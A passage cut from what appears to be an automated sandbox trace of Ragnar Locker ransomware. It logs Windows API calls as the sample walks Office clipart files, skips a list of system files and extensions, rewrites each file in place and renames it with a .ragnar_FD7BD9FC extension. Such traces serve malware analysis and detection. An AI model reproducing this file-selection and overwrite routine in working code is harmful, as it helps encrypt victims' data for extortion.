lpString2="ntuser.dat") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="ntuser.ini") returned 1 [0089.416] lstrcmpiW (lpString1="PE00052_.WMF", lpString2="thumbs.db") returned -1 [0089.416] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.416] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.416] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.416] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.416] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.416] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.416] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf")) returned 0x20 [0089.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.417] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=18412) returned 1 [0089.417] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x47e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.417] GetProcessHeap () returned 0x580000 [0089.417] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.417] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.418] VirtualAlloc (lpAddress=0x0, dwSize=0x47ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.418] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.418] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.419] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x47ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x47ec, lpOverlapped=0x0) returned 1 [0089.420] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.420] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x47ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.420] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x47ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x47ec, lpOverlapped=0x0) returned 1 [0089.420] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x47ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.420] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.420] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x47ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.420] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.420] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.420] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.421] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.421] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.421] GetProcessHeap () returned 0x580000 [0089.421] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.421] CloseHandle (hObject=0xf4) returned 1 [0089.421] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" [0089.421] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.ragnar_FD7BD9FC" [0089.421] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.431] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00231_.WMF", cAlternateFileName="")) returned 1 [0089.431] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.431] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00231_.WMF" | out: lpString1="PE00231_.WMF") returned="PE00231_.WMF" [0089.431] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF") returned=".WMF" [0089.431] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.431] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="autorun.inf") returned 1 [0089.431] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="boot.ini") returned 1 [0089.431] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="bootfont.bin") returned 1 [0089.431] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="bootsect.bak") returned 1 [0089.432] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="bootmgr") returned 1 [0089.432] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="bootmgr.efi") returned 1 [0089.432] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.432] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="desktop.ini") returned 1 [0089.432] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="iconcache.db") returned 1 [0089.432] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="ntldr") returned 1 [0089.432] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="ntuser.dat") returned 1 [0089.432] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.432] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="ntuser.ini") returned 1 [0089.432] lstrcmpiW (lpString1="PE00231_.WMF", lpString2="thumbs.db") returned -1 [0089.432] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.432] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.432] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.432] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.432] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.432] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.432] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.432] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf")) returned 0x20 [0089.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.433] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2228) returned 1 [0089.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.433] GetProcessHeap () returned 0x580000 [0089.433] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.433] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.434] VirtualAlloc (lpAddress=0x0, dwSize=0x8b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.435] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.435] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.435] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8b4, lpOverlapped=0x0) returned 1 [0089.435] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.435] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.435] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8b4, lpOverlapped=0x0) returned 1 [0089.436] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.436] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.436] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.436] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.436] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.436] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.436] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.436] GetProcessHeap () returned 0x580000 [0089.436] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.436] CloseHandle (hObject=0xf4) returned 1 [0089.436] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" [0089.436] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.ragnar_FD7BD9FC" [0089.436] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.437] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00272_.WMF", cAlternateFileName="")) returned 1 [0089.437] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.437] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00272_.WMF" | out: lpString1="PE00272_.WMF") returned="PE00272_.WMF" [0089.437] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF") returned=".WMF" [0089.437] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.437] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="autorun.inf") returned 1 [0089.437] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="boot.ini") returned 1 [0089.437] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="bootfont.bin") returned 1 [0089.437] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="bootsect.bak") returned 1 [0089.437] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="bootmgr") returned 1 [0089.437] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="bootmgr.efi") returned 1 [0089.438] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.438] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="desktop.ini") returned 1 [0089.438] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="iconcache.db") returned 1 [0089.438] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="ntldr") returned 1 [0089.438] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="ntuser.dat") returned 1 [0089.438] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.438] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="ntuser.ini") returned 1 [0089.438] lstrcmpiW (lpString1="PE00272_.WMF", lpString2="thumbs.db") returned -1 [0089.438] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.438] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.438] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.438] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.438] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.438] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.438] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf")) returned 0x20 [0089.439] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.439] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2804) returned 1 [0089.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaeb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.439] GetProcessHeap () returned 0x580000 [0089.439] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.439] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.441] VirtualAlloc (lpAddress=0x0, dwSize=0xaf4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.441] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xaf4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xaf4, lpOverlapped=0x0) returned 1 [0089.441] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.441] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xaf4, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.441] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xaf4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xaf4, lpOverlapped=0x0) returned 1 [0089.441] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xaf4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.441] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.442] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.442] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.442] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.442] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.442] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.442] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.442] GetProcessHeap () returned 0x580000 [0089.442] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.442] CloseHandle (hObject=0xf4) returned 1 [0089.442] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" [0089.442] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.ragnar_FD7BD9FC" [0089.442] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00272_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00272_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.443] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c9b200, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00468_.WMF", cAlternateFileName="")) returned 1 [0089.443] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.443] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE00468_.WMF" | out: lpString1="PE00468_.WMF") returned="PE00468_.WMF" [0089.443] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00468_.WMF") returned=".WMF" [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="autorun.inf") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="boot.ini") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="bootfont.bin") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="bootsect.bak") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="bootmgr") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="bootmgr.efi") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="desktop.ini") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="iconcache.db") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="ntldr") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="ntuser.dat") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.443] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="ntuser.ini") returned 1 [0089.444] lstrcmpiW (lpString1="PE00468_.WMF", lpString2="thumbs.db") returned -1 [0089.444] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.444] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.444] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.444] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.444] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.444] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.444] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 